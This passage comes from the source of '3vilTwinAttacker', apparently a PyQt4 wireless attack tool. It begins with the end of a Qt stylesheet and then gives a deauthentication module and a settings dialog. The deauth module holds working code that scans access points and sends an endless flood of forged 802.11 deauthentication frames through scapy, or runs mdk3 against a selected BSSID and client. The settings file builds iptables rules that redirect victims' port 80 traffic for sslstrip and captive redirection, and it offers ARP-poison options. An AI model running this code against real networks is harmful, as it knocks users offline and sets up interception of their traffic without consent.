x1: 0, y1: 0, x2: 1, y2: 0, stop: 0.0 #121212, stop: 0.2 #282828, stop: 1 #484848); 220 | width: 7px; 221 | margin: 16px 0 16px 0; 222 | border: 1px solid #222222; 223 | } 224 | 225 | QScrollBar::handle:vertical 226 | { 227 | background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 0.5 #d7801a, stop: 1 #ffa02f); 228 | min-height: 20px; 229 | border-radius: 2px; 230 | } 231 | 232 | QScrollBar::add-line:vertical 233 | { 234 | border: 1px solid #1b1b19; 235 | border-radius: 2px; 236 | background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); 237 | height: 14px; 238 | subcontrol-position: bottom; 239 | subcontrol-origin: margin; 240 | } 241 | 242 | QScrollBar::sub-line:vertical 243 | { 244 | border: 1px solid #1b1b19; 245 | border-radius: 2px; 246 | background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #d7801a, stop: 1 #ffa02f); 247 | height: 14px; 248 | subcontrol-position: top; 249 | subcontrol-origin: margin; 250 | } 251 | 252 | QScrollBar::up-arrow:vertical, QScrollBar::down-arrow:vertical 253 | { 254 | border: 1px solid black; 255 | width: 1px; 256 | height: 1px; 257 | background: white; 258 | } 259 | 260 | 261 | QScrollBar::add-page:vertical, QScrollBar::sub-page:vertical 262 | { 263 | background: none; 264 | } 265 | 266 | QTextEdit 267 | { 268 | background-color: #2F2D2D; 269 | } 270 | 271 | QPlainTextEdit 272 | { 273 | background-color: #2F2D2D; 274 | } 275 | 276 | QHeaderView::section 277 | { 278 | background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #616161, stop: 0.5 #505050, stop: 0.6 #434343, stop:1 #656565); 279 | color: white; 280 | padding-left: 4px; 281 | border: 1px solid #6c6c6c; 282 | } 283 | 284 | QCheckBox:disabled 285 | { 286 | color: #414141; 287 | } 288 | 289 | QDockWidget::title 290 | { 291 | text-align: center; 292 | spacing: 3px; /* spacing between items in the tool bar */ 293 | background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #323232, stop: 0.5 #242424, stop:1 #323232); 294 | } 295 | 296 | QDockWidget::close-button, QDockWidget::float-button 297 | { 298 | text-align: center; 299 | spacing: 1px; /* spacing between items in the tool bar */ 300 | background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #323232, stop: 0.5 #242424, stop:1 #323232); 301 | } 302 | 303 | QDockWidget::close-button:hover, QDockWidget::float-button:hover 304 | { 305 | background: #242424; 306 | } 307 | 308 | QDockWidget::close-button:pressed, QDockWidget::float-button:pressed 309 | { 310 | padding: 1px -1px -1px 1px; 311 | } 312 | 313 | QMainWindow::separator 314 | { 315 | background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #161616, stop: 0.5 #151515, stop: 0.6 #212121, stop:1 #343434); 316 | color: white; 317 | padding-left: 4px; 318 | border: 1px solid #4c4c4c; 319 | spacing: 3px; /* spacing between items in the tool bar */ 320 | } 321 | 322 | QMainWindow::separator:hover 323 | { 324 | 325 | background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #d7801a, stop:0.5 #b56c17 stop:1 #ffa02f); 326 | color: white; 327 | padding-left: 4px; 328 | border: 1px solid #6c6c6c; 329 | spacing: 3px; /* spacing between items in the tool bar */ 330 | } 331 | 332 | QToolBar::handle 333 | { 334 | spacing: 3px; /* spacing between items in the tool bar */ 335 | background: url(:/images/handle.png); 336 | } 337 | 338 | QMenu::separator 339 | { 340 | height: 2px; 341 | background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:0 #161616, stop: 0.5 #151515, stop: 0.6 #212121, stop:1 #343434); 342 | color: white; 343 | padding-left: 4px; 344 | margin-left: 10px; 345 | margin-right: 5px; 346 | } 347 | 348 | QProgressBar 349 | { 350 | border: 2px solid grey; 351 | border-radius: 5px; 352 | text-align: center; 353 | } 354 | 355 | QProgressBar::chunk 356 | { 357 | background-color: #d7801a; 358 | width: 2.15px; 359 | margin: 0.5px; 360 | } 361 | 362 | QTabBar::tab { 363 | color: #b1b1b1; 364 | border: 1px solid #444; 365 | border-bottom-style: none; 366 | background-color: #323232; 367 | padding-left: 10px; 368 | padding-right: 10px; 369 | padding-top: 3px; 370 | padding-bottom: 2px; 371 | margin-right: -1px; 372 | } 373 | 374 | QTabWidget::pane { 375 | border: 1px solid #444; 376 | top: 1px; 377 | } 378 | 379 | QTabBar::tab:last 380 | { 381 | margin-right: 0; /* the last selected tab has nothing to overlap with on the right */ 382 | border-top-right-radius: 3px; 383 | } 384 | 385 | QTabBar::tab:first:!selected 386 | { 387 | margin-left: 0px; /* the last selected tab has nothing to overlap with on the right */ 388 | 389 | 390 | border-top-left-radius: 3px; 391 | } 392 | 393 | QTabBar::tab:!selected 394 | { 395 | color: #b1b1b1; 396 | border-bottom-style: solid; 397 | margin-top: 3px; 398 | background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:1 #212121, stop:.4 #343434); 399 | } 400 | 401 | QTabBar::tab:selected 402 | { 403 | border-top-left-radius: 3px; 404 | border-top-right-radius: 3px; 405 | margin-bottom: 0px; 406 | } 407 | 408 | QTabBar::tab:!selected:hover 409 | { 410 | /*border-top: 2px solid #ffaa00; 411 | padding-bottom: 3px;*/ 412 | border-top-left-radius: 3px; 413 | border-top-right-radius: 3px; 414 | background-color: QLinearGradient(x1:0, y1:0, x2:0, y2:1, stop:1 #212121, stop:0.4 #343434, stop:0.2 #343434, stop:0.1 #ffaa00); 415 | } 416 | 417 | QRadioButton::indicator:checked, QRadioButton::indicator:unchecked{ 418 | color: #b1b1b1; 419 | background-color: #323232; 420 | border: 1px solid #b1b1b1; 421 | border-radius: 6px; 422 | } 423 | 424 | QRadioButton::indicator:checked 425 | { 426 | background-color: qradialgradient( 427 | cx: 0.5, cy: 0.5, 428 | fx: 0.5, fy: 0.5, 429 | radius: 1.0, 430 | stop: 0.25 #ffaa00, 431 | stop: 0.3 #323232 432 | ); 433 | } 434 | 435 | QCheckBox::indicator{ 436 | color: #b1b1b1; 437 | background-color: #323232; 438 | border: 1px solid #b1b1b1; 439 | width: 13px; 440 | height: 13px; 441 | } 442 | 443 | QRadioButton::indicator 444 | { 445 | border-radius: 6px; 446 | } 447 | 448 | QRadioButton::indicator:hover, QCheckBox::indicator:hover 449 | { 450 | border: 1px solid #ffaa00; 451 | } 452 | 453 | QCheckBox::indicator:checked 454 | { 455 | image:url(rsc/check.png); 456 | } 457 | 458 | QCheckBox::indicator:disabled, QRadioButton::indicator:disabled 459 | { 460 | border: 1px solid #444; 461 | } -------------------------------------------------------------------------------- /Modules/ModuleDeauth.py: -------------------------------------------------------------------------------- 1 | #The MIT License (MIT) 2 | #Copyright (c) 2015-2016 mh4x0f P0cL4bs Team 3 | #Permission is hereby granted, free of charge, to any person obtaining a copy of 4 | #this software and associated documentation files (the "Software"), to deal in 5 | #the Software without restriction, including without limitation the rights to 6 | #use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 7 | #the Software, and to permit persons to whom the Software is furnished to do so, 8 | #subject to the following conditions: 9 | #The above copyright notice and this permission notice shall be included in all 10 | #copies or substantial portions of the Software. 11 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 12 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 13 | #FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 14 | #COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 15 | #IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 16 | #CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 17 | from PyQt4.QtGui import * 18 | from PyQt4.QtCore import * 19 | from subprocess import Popen,PIPE 20 | from scapy.all import * 21 | import threading 22 | from os import popen,system,getuid,path,makedirs 23 | from re import search,compile,match 24 | from Core.Settings import frm_Settings 25 | from Modules.utils import Refactor,ProcessThread,airdump_start,get_network_scan,set_monitor_mode 26 | from multiprocessing import Process 27 | from subprocess import Popen,PIPE,STDOUT,call,check_output 28 | threadloading = {'deauth':[],'mdk3':[]} 29 | 30 | 31 | class frm_window(QMainWindow): 32 | def __init__(self, parent=None): 33 | super(frm_window, self).__init__(parent) 34 | self.form_widget = frm_deauth(self) 35 | self.setCentralWidget(self.form_widget) 36 | self.setWindowTitle("Deauth Attack wireless Route") 37 | self.setWindowIcon(QIcon('rsc/icon.ico')) 38 | self.config = frm_Settings() 39 | self.loadtheme(self.config.XmlThemeSelected()) 40 | 41 | def loadtheme(self,theme): 42 | sshFile=("Core/%s.qss"%(theme)) 43 | with open(sshFile,"r") as fh: 44 | self.setStyleSheet(fh.read()) 45 | 46 | def closeEvent(self, event): 47 | global threadloading 48 | if len(threadloading['deauth']) != 0 or len(threadloading['mdk3']) != 0: 49 | reply = QMessageBox.question(self, 'About Exit',"Are you sure to quit?", QMessageBox.Yes | 50 | QMessageBox.No, QMessageBox.No) 51 | if reply == QMessageBox.Yes: 52 | event.accept() 53 | for i in threadloading['deauth']: 54 | i.terminate() 55 | print("[*] Deuath Thread Terminate") 56 | for i in threadloading['mdk3']: 57 | i.stop(),i.join() 58 | 59 | self.deleteLater() 60 | else: 61 | event.ignore() 62 | 63 | 64 | class frm_deauth(QWidget): 65 | def __init__(self, parent=None): 66 | super(frm_deauth, self).__init__(parent) 67 | self.Main = QVBoxLayout() 68 | self.xmlcheck = frm_Settings() 69 | self.interface = self.xmlcheck.xmlSettings("interface", "monitor_mode", None, False) 70 | self.ApsCaptured = {} 71 | self.pacote = [] 72 | self.data = {'Bssid':[], 'Essid':[], 'Channel':[]} 73 | self.window_qt() 74 | 75 | def select_target(self): 76 | item = self.tables.selectedItems() 77 | if item != []: 78 | self.linetarget.setText(item[2].text()) 79 | else: 80 | QMessageBox.critical(self, "Error in row", "Nothing row in tables, please try scan network again") 81 | self.linetarget.clear() 82 | 83 | def window_qt(self): 84 | self.mForm = QFormLayout() 85 | self.statusbar = QStatusBar() 86 | system = QLabel("Deauthentication::") 87 | self.statusbar.addWidget(system) 88 | self.Controlador = QLabel("") 89 | self.AttackStatus(False) 90 | 91 | self.tables = QTableWidget(5,3) 92 | self.tables.setFixedWidth(350) 93 | self.tables.setRowCount(100) 94 | self.tables.setFixedHeight(250) 95 | self.tables.setSelectionBehavior(QAbstractItemView.SelectRows) 96 | self.tables.setEditTriggers(QAbstractItemView.NoEditTriggers) 97 | self.tables.clicked.connect(self.select_target) 98 | self.tables.resizeColumnsToContents() 99 | self.tables.resizeRowsToContents() 100 | self.tables.horizontalHeader().resizeSection(1,120) 101 | self.tables.horizontalHeader().resizeSection(0,60) 102 | self.tables.horizontalHeader().resizeSection(2,158) 103 | self.tables.verticalHeader().setVisible(False) 104 | Headers = [] 105 | for n, key in enumerate(self.data.keys()): 106 | Headers.append(key) 107 | self.tables.setHorizontalHeaderLabels(Headers) 108 | 109 | 110 | self.linetarget = QLineEdit(self) 111 | self.input_client = QLineEdit(self) 112 | self.input_client.setText("FF:FF:FF:FF:FF:FF") 113 | self.btn_enviar = QPushButton("Send Attack", self) 114 | self.btn_enviar.clicked.connect(self.attack_deauth) 115 | self.btn_scan = QPushButton(" Network Scan ", self) 116 | self.btn_scan.clicked.connect(self.SettingsScan) 117 | self.btn_stop = QPushButton("Stop Attack ", self) 118 | self.btn_stop.clicked.connect(self.kill_thread) 119 | self.btn_enviar.setFixedWidth(170) 120 | self.btn_stop.setFixedWidth(170) 121 | self.btn_scan.setFixedWidth(120) 122 | 123 | #icons 124 | self.btn_scan.setIcon(QIcon("rsc/network.png")) 125 | self.btn_enviar.setIcon(QIcon("rsc/start.png")) 126 | self.btn_stop.setIcon(QIcon("rsc/Stop.png")) 127 | 128 | self.time_scan = QComboBox(self) 129 | self.time_scan.addItem("10s") 130 | self.time_scan.addItem("20s") 131 | self.time_scan.addItem("30s") 132 | 133 | self.get_placa = QComboBox(self) 134 | 135 | n = Refactor.get_interfaces()['all'] 136 | for i,j in enumerate(n): 137 | if search("wlan", j): 138 | self.get_placa.addItem(n[i]) 139 | 140 | #grid options 141 | self.Grid = QGridLayout() 142 | self.options_scan = self.xmlcheck.xmlSettings("scanner_AP", "select", None, False) 143 | if self.options_scan != "scan_scapy":self.time_scan.setEnabled(False) 144 | 145 | self.Grid.addWidget(QLabel("Time:"),0,0) 146 | self.Grid.addWidget(self.time_scan,0,1) 147 | self.Grid.addWidget(self.get_placa,0,2) 148 | self.Grid.addWidget(self.btn_scan,0,3) 149 | self.Grid.addWidget(self.btn_scan,0,3) 150 | 151 | self.Grid.addWidget(QLabel("bssid:"),1,0) 152 | self.Grid.addWidget(QLabel(" Client:"),1,2) 153 | self.Grid.addWidget(self.linetarget,1,1) 154 | self.Grid.addWidget(self.input_client,1,3) 155 | 156 | 157 | self.form0 = QGridLayout() 158 | self.form0.addWidget(self.tables,0,0) 159 | 160 | self.mForm.addRow(self.btn_enviar, self.btn_stop) 161 | self.mForm.addRow(self.statusbar) 162 | self.Main.addLayout(self.form0) 163 | self.Main.addLayout(self.Grid) 164 | self.Main.addLayout(self.mForm) 165 | self.setLayout(self.Main) 166 | 167 | def scan_diveces_airodump(self): 168 | dirpath = "Settings/Dump" 169 | if not path.isdir(dirpath): 170 | makedirs(dirpath) 171 | self.data = {'Bssid':[], 'Essid':[], 'Channel':[]} 172 | exit_air = airdump_start(self.interface) 173 | self.fix = False 174 | if exit_air == None: 175 | self.cap = get_network_scan() 176 | if self.cap != None: 177 | for i in self.cap: 178 | i = i.split("||") 179 | if Refactor.check_is_mac(i[2]): 180 | Headers = [] 181 | self.data['Channel'].append(i[0]) 182 | self.data['Essid'].append(i[1]) 183 | self.data['Bssid'].append(i[2]) 184 | for n, key in enumerate(self.data.keys()): 185 | Headers.append(key) 186 | for m, item in enumerate(self.data[key]): 187 | item = QTableWidgetItem(item) 188 | item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) 189 | self.tables.setItem(m, n, item) 190 | self.cap =[] 191 | 192 | def kill_thread(self): 193 | global threadloading 194 | for i in threadloading['deauth']: 195 | i.terminate() 196 | for i in threadloading['mdk3']: 197 | i.stop(),i.join() 198 | self.AttackStatus(False) 199 | print("[*] deauth Attack OFF") 200 | 201 | def SettingsScan(self): 202 | self.data = {'Bssid':[], 'Essid':[], 'Channel':[]} 203 | if self.get_placa.currentText() == "": 204 | QMessageBox.information(self, "Network Adapter", 'Network Adapter Not found try again.') 205 | else: 206 | self.interface = str(set_monitor_mode(self.get_placa.currentText()).setEnable()) 207 | self.xmlcheck.xmlSettings("interface", "monitor_mode", self.interface, False) 208 | if self.time_scan.currentText() == "10s":count = 10 209 | elif self.time_scan.currentText() == "20s":count = 20 210 | elif self.time_scan.currentText() == "30s":count = 30 211 | if self.interface != None: 212 | if self.options_scan == "scan_scapy": 213 | self.scapy_scan_AP(self.interface,count) 214 | for i in self.ApsCaptured.keys(): 215 | if Refactor.check_is_mac(i): 216 | self.data['Channel'].append(self.ApsCaptured[i][0]) 217 | self.data['Essid'].append(self.ApsCaptured[i][1]) 218 | self.data['Bssid'].append(i) 219 | Headers = [] 220 | for n, key in enumerate(self.data.keys()): 221 | Headers.append(key) 222 | for m, item in enumerate(self.data[key]): 223 | item = QTableWidgetItem(item) 224 | item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) 225 | self.tables.setItem(m, n, item) 226 | else: 227 | if path.isfile(popen('which airodump-ng').read().split("\n")[0]): 228 | self.thread_airodump = threading.Thread(target=self.scan_diveces_airodump) 229 | self.thread_airodump.daemon = True 230 | self.thread_airodump.start() 231 | else: 232 | QMessageBox.information(self,'Error airodump','airodump-ng not installed') 233 | set_monitor_mode(self.get_placa.currentText()).setDisable() 234 | 235 | def scapy_scan_AP(self,interface,timeout): 236 | sniff(iface=str(interface), prn =self.Scanner_devices, timeout=timeout) 237 | def Scanner_devices(self,pkt): 238 | if pkt.type == 0 and pkt.subtype == 8: 239 | self.ApsCaptured[pkt.addr2] = [str(int(ord(pkt[Dot11Elt:3].info))),pkt.info] 240 | 241 | def attack_deauth(self): 242 | global threadloading 243 | if self.linetarget.text() == "": 244 | QMessageBox.information(self, "Target Error", "Please, first select Target for attack") 245 | else: 246 | self.bssid = str(self.linetarget.text()) 247 | self.deauth_check = self.xmlcheck.xmlSettings("deauth", "select",None,False) 248 | self.args = str(self.xmlcheck.xmlSettings("mdk3","arguments", None, False)) 249 | if self.deauth_check == "packets_scapy": 250 | self.AttackStatus(True) 251 | t = Process(target=self.deauth_attacker, args=(self.bssid,str(self.input_client.text()))) 252 | print("[*] deauth Attack On:"+self.bssid) 253 | threadloading['deauth'].append(t) 254 | t.daemon = True 255 | t.start() 256 | else: 257 | if path.isfile(popen('which mdk3').read().split("\n")[0]): 258 | self.AttackStatus(True) 259 | t = ProcessThread(("mdk3 %s %s %s"%(self.interface,self.args,self.bssid)).split()) 260 | t.name = "mdk3" 261 | threadloading['mdk3'].append(t) 262 | t.start() 263 | else: 264 | QMessageBox.information(self,'Error mdk3','mkd3 not installed') 265 | set_monitor_mode(self.get_placa.currentText()).setDisable() 266 | 267 | def AttackStatus(self,bool): 268 | if bool: 269 | self.Controlador.setText("[ON]") 270 | self.Controlador.setStyleSheet("QLabel { color : green; }") 271 | else: 272 | self.Controlador.setText("[OFF]") 273 | self.Controlador.setStyleSheet("QLabel { color : red; }") 274 | self.statusbar.addWidget(self.Controlador) 275 | 276 | def deauth_attacker(self,bssid, client): 277 | conf.verb = 0 278 | conf.iface = self.interface 279 | pkts = [] 280 | pkt1 = RadioTap()/Dot11(type=0, 281 | subtype=12,addr1=client, 282 | addr2=bssid,addr3=bssid)/Dot11Deauth(reason=7) 283 | pkt2 = Dot11(addr1=bssid, addr2=client, 284 | addr3=client)/Dot11Deauth() 285 | pkts.append(pkt1) 286 | pkts.append(pkt2) 287 | while True: 288 | for i in pkts: 289 | sendp(i,verbose=False,count=1) 290 | 291 | @pyqtSlot(QModelIndex) 292 | def list_clicked(self, index): 293 | itms = self.list.selectedIndexes() 294 | for i in itms: 295 | attack = str(i.data().toString()).split() 296 | for i in attack: 297 | if Refactor.check_is_mac(i.replace(" ", "")): 298 | self.linetarget.setText(str(i)) 299 | if self.linetarget.text() == "": 300 | QMessageBox.information(self, "MacAddress", 301 | "Error check the Mac Target, please set the mac valid.") 302 | -------------------------------------------------------------------------------- /Core/Settings.py: -------------------------------------------------------------------------------- 1 | from PyQt4.QtGui import * 2 | from xml.dom import minidom 3 | from PyQt4.QtCore import * 4 | from re import search 5 | class frm_Settings(QDialog): 6 | def __init__(self, parent = None): 7 | super(frm_Settings, self).__init__(parent) 8 | self.setWindowTitle('Settings 3vilTwinAttacker') 9 | self.Main = QVBoxLayout() 10 | self.frm = QFormLayout() 11 | self.setGeometry(0, 0, 400, 300) 12 | self.center() 13 | self.loadtheme(self.XmlThemeSelected()) 14 | self.Qui() 15 | 16 | def loadtheme(self,theme): 17 | sshFile=("Core/%s.qss"%(theme)) 18 | with open(sshFile,"r") as fh: 19 | self.setStyleSheet(fh.read()) 20 | 21 | def XmlThemeSelected(self): 22 | theme = self.xmlSettings('themes', 'selected',None,False) 23 | return theme 24 | def center(self): 25 | frameGm = self.frameGeometry() 26 | centerPoint = QDesktopWidget().availableGeometry().center() 27 | frameGm.moveCenter(centerPoint) 28 | self.move(frameGm.topLeft()) 29 | 30 | def xmlSettings(self,id,data,bool,show): 31 | xmldoc = minidom.parse('Settings/Settings.xml') 32 | country = xmldoc.getElementsByTagName(id) 33 | firstchild = country[0] 34 | if bool != None: 35 | firstchild.attributes[data].value = bool 36 | if show == True: 37 | print '---------------------------' 38 | print 'Settings:' + data + '=>'+ firstchild.attributes[data].value 39 | print '---------------------------' 40 | xmldoc.writexml( open('Settings/Settings.xml', 'w')) 41 | 42 | return firstchild.attributes[data].value 43 | 44 | def save_settings(self): 45 | if self.d_scapy.isChecked(): 46 | self.xmlSettings('deauth','select','packets_scapy',False) 47 | elif self.d_mdk.isChecked(): 48 | self.xmlSettings('deauth','select','packets_mdk3',False) 49 | 50 | if self.scan_scapy.isChecked(): 51 | self.xmlSettings('scanner_AP', 'select', 'scan_scapy',False) 52 | elif self.scan_airodump.isChecked(): 53 | self.xmlSettings('scanner_AP', 'select', 'scan_airodump', False) 54 | 55 | if self.dhcp1.isChecked(): 56 | self.xmlSettings('dhcp','dhcp_server','iscdhcpserver',False) 57 | elif self.dhcp2.isChecked(): 58 | self.xmlSettings('dhcp','dhcp_server','dnsmasq',False) 59 | if self.theme1.isChecked(): 60 | self.xmlSettings('themes','selected','theme1',False) 61 | elif self.theme2.isChecked(): 62 | self.xmlSettings('themes','selected','theme2',False) 63 | if self.scan1.isChecked(): 64 | self.xmlSettings('advanced','Function_scan','Ping',False) 65 | elif self.scan2.isChecked(): 66 | self.xmlSettings('advanced','Function_scan','Nmap',False) 67 | self.txt_arguments.setText(self.xmlSettings('mdk3', 'arguments', str(self.txt_arguments.text()), False)) 68 | self.txt_ranger.setText(self.xmlSettings('scan','rangeIP',str(self.txt_ranger.text()),False)) 69 | self.interface.setText(self.xmlSettings('interface', 'monitor_mode', str(self.interface.text()), False)) 70 | self.Apname.setText(self.xmlSettings('AP', 'name', str(self.Apname.text()), False)) 71 | self.xmlSettings('channel', 'mchannel', str(self.channel.value()), False) 72 | self.xmlSettings('redirect', 'port', str(self.redirectport.text()), False) 73 | self.xmlSettings('netcreds', 'interface', str(self.InterfaceNetCreds.text()), False) 74 | self.close() 75 | 76 | 77 | def listItemclicked(self,pos): 78 | item = self.ListRules.selectedItems() 79 | self.listMenu= QMenu() 80 | menu = QMenu() 81 | additem = menu.addAction('Add') 82 | editem = menu.addAction('Edit') 83 | removeitem = menu.addAction('Remove ') 84 | clearitem = menu.addAction('clear') 85 | action = menu.exec_(self.ListRules.viewport().mapToGlobal(pos)) 86 | if action == removeitem: 87 | if item != []: 88 | self.ListRules.takeItem(self.ListRules.currentRow()) 89 | elif action == additem: 90 | text, resp = QInputDialog.getText(self, 'Add rules iptables', 91 | 'Enter the rules iptables:') 92 | if resp: 93 | try: 94 | itemsexits = [] 95 | for index in xrange(self.ListRules.count()): 96 | itemsexits.append(str(self.ListRules.item(index).text())) 97 | for i in itemsexits: 98 | if search(str(text),i): 99 | QMessageBox.information(self,'Rules exist','this rules already exist!') 100 | return 101 | item = QListWidgetItem() 102 | item.setText(text) 103 | item.setSizeHint(QSize(30,30)) 104 | self.ListRules.addItem(item) 105 | except Exception as e: 106 | QMessageBox.information(self,'error',str(e)) 107 | return 108 | elif action == editem: 109 | text, resp = QInputDialog.getText(self, 'Add rules iptables', 110 | 'Enter the rules iptables:',text=self.ListRules.item(self.ListRules.currentRow()).text()) 111 | if resp: 112 | try: 113 | itemsexits = [] 114 | for index in xrange(self.ListRules.count()): 115 | itemsexits.append(str(self.ListRules.item(index).text())) 116 | for i in itemsexits: 117 | if search(str(text),i): 118 | QMessageBox.information(self,'Rules exist','this rules already exist!') 119 | return 120 | item = QListWidgetItem() 121 | item.setText(text) 122 | item.setSizeHint(QSize(30,30)) 123 | self.ListRules.insertItem(self.ListRules.currentRow(),item) 124 | except Exception as e: 125 | QMessageBox.information(self,'error',str(e)) 126 | return 127 | elif action == clearitem: 128 | self.ListRules.clear() 129 | 130 | def redirectAP(self): 131 | item = QListWidgetItem() 132 | if self.check_redirect.isChecked(): 133 | item.setText('iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1:80') 134 | item.setSizeHint(QSize(30,30)) 135 | self.ListRules.addItem(item) 136 | def addrulesSslstrip(self): 137 | item = QListWidgetItem() 138 | if self.checkssltripPort.isChecked(): 139 | item.setText('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port '+ 140 | self.xmlSettings('redirect', 'port', None, False)) 141 | item.setSizeHint(QSize(30,30)) 142 | self.ListRules.addItem(item) 143 | 144 | def Qui(self): 145 | self.form = QFormLayout(self) 146 | self.tabcontrol = QTabWidget(self) 147 | 148 | # tabs 149 | self.tab1 = QWidget(self) 150 | self.tab2 = QWidget(self) 151 | self.tab3 = QWidget(self) 152 | 153 | self.page_1 = QFormLayout(self.tab1) 154 | self.page_2 = QFormLayout(self.tab2) 155 | self.page_3 = QFormLayout(self.tab3) 156 | 157 | self.tabcontrol.addTab(self.tab1, 'General') 158 | self.tabcontrol.addTab(self.tab2, 'Advanced') 159 | self.tabcontrol.addTab(self.tab3,'Iptables') 160 | 161 | self.btn_save = QPushButton('Save') 162 | self.btn_save.clicked.connect(self.save_settings) 163 | self.btn_save.setFixedWidth(80) 164 | self.btn_save.setIcon(QIcon('rsc/Save.png')) 165 | 166 | self.GruPag1=QButtonGroup() 167 | self.GruPag2=QButtonGroup() 168 | self.GruPag3=QButtonGroup() 169 | self.GruPag4=QButtonGroup() 170 | 171 | self.gruButtonPag2 = QButtonGroup() 172 | 173 | #page general 174 | self.txt_ranger = QLineEdit(self) 175 | self.txt_arguments = QLineEdit(self) 176 | self.d_scapy = QRadioButton('Scapy Deauth') 177 | self.d_mdk = QRadioButton('mdk3 Deauth') 178 | self.scan_scapy = QRadioButton('Scan from scapy') 179 | self.scan_airodump = QRadioButton('Scan from airodump-ng') 180 | self.dhcp1 = QRadioButton('iscdhcpserver') 181 | self.dhcp2 = QRadioButton('dnsmasq') 182 | self.theme1 = QRadioButton('theme Dark Orange') 183 | self.theme2 = QRadioButton('theme Dark blur') 184 | 185 | #page Adavanced 186 | self.scan1 = QRadioButton('Ping Scan:: Very fast scan IP') 187 | self.scan2 = QRadioButton('Python-Nmap:: Get hostname from IP') 188 | self.interface = QLineEdit(self) 189 | self.Apname = QLineEdit(self) 190 | self.channel = QSpinBox(self) 191 | self.rangeIP = QLineEdit(self) 192 | self.redirectport = QLineEdit(self) 193 | self.InterfaceNetCreds = QLineEdit(self) 194 | 195 | # page Iptables 196 | self.ListRules = QListWidget(self) 197 | self.ListRules.setFixedHeight(300) 198 | self.ListRules.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOn) 199 | self.ListRules.setMinimumWidth(self.ListRules.sizeHintForColumn(100)) 200 | self.ListRules.setContextMenuPolicy(Qt.CustomContextMenu) 201 | self.ListRules.connect(self.ListRules, 202 | SIGNAL('customContextMenuRequested(QPoint)'), 203 | self.listItemclicked) 204 | for i in range(5): 205 | j = self.xmlSettings('rules'+str(i),'value',None,False) 206 | item = QListWidgetItem() 207 | item.setText(j) 208 | item.setSizeHint(QSize(30,30)) 209 | self.ListRules.addItem(item) 210 | self.check_redirect = QCheckBox('add Redirect all Port 80 to ipaddress::10.0.0.1') 211 | self.checkssltripPort = QCheckBox('add Rules port sslstrip:'+ 212 | self.xmlSettings('redirect','port', None, False)) 213 | self.checkssltripPort.clicked.connect(self.addrulesSslstrip) 214 | self.check_redirect.clicked.connect(self.redirectAP) 215 | 216 | #grup page 1 217 | self.GruPag1.addButton(self.d_scapy) 218 | self.GruPag1.addButton(self.d_mdk) 219 | self.GruPag2.addButton(self.dhcp1) 220 | self.GruPag2.addButton(self.dhcp2) 221 | self.GruPag3.addButton(self.scan_scapy) 222 | self.GruPag3.addButton(self.scan_airodump) 223 | self.GruPag4.addButton(self.theme1) 224 | self.GruPag4.addButton(self.theme2) 225 | 226 | # grup page 2 227 | self.gruButtonPag2.addButton(self.scan1) 228 | self.gruButtonPag2.addButton(self.scan2) 229 | 230 | #page 1 231 | self.deauth_check = self.xmlSettings('deauth','select',None,False) 232 | self.scan_AP_check = self.xmlSettings('scanner_AP', 'select', None, False) 233 | self.dhcp_check = self.xmlSettings('dhcp', 'dhcp_server', None, False) 234 | self.txt_ranger.setText(self.xmlSettings('scan', 'rangeIP', None, False)) 235 | self.txt_arguments.setText(self.xmlSettings('mdk3', 'arguments', None, False)) 236 | 237 | # setting page 1 238 | self.scanIP_selected = self.xmlSettings('advanced','Function_scan',None,False) 239 | if self.scanIP_selected == 'Ping': 240 | self.scan1.setChecked(True) 241 | self.scan2.setChecked(False) 242 | elif self.scanIP_selected == 'Nmap': 243 | self.scan2.setChecked(True) 244 | self.scan1.setChecked(False) 245 | 246 | if self.deauth_check == 'packets_mdk3':self.d_mdk.setChecked(True) 247 | else:self.d_scapy.setChecked(True) 248 | 249 | if self.dhcp_check == 'iscdhcpserver':self.dhcp1.setChecked(True) 250 | else:self.dhcp2.setChecked(True) 251 | 252 | if self.scan_AP_check == 'scan_scapy': self.scan_scapy.setChecked(True) 253 | else:self.scan_airodump.setChecked(True) 254 | 255 | self.theme_selected = self.xmlSettings('themes', 'selected', None, False) 256 | if self.theme_selected == 'theme1': 257 | self.theme1.setChecked(True) 258 | else: 259 | self.theme2.setChecked(True) 260 | 261 | # tab general 262 | self.page_1.addWidget(QLabel('Configure deauth Attacker:')) 263 | self.page_1.addWidget(self.d_scapy) 264 | self.page_1.addWidget(self.d_mdk) 265 | self.page_1.addWidget(QLabel('Configure Scan diveces Attacker:')) 266 | self.page_1.addWidget(self.scan_scapy) 267 | self.page_1.addWidget(self.scan_airodump) 268 | self.page_1.addWidget(QLabel('mdk3 Arguments:')) 269 | self.page_1.addWidget(self.txt_arguments) 270 | self.page_1.addWidget(QLabel('Configure Dhcp Attacker:')) 271 | self.page_1.addWidget(self.dhcp1) 272 | self.page_1.addWidget(self.dhcp2) 273 | self.page_1.addWidget(QLabel('Configure Range ARP Posion:')) 274 | 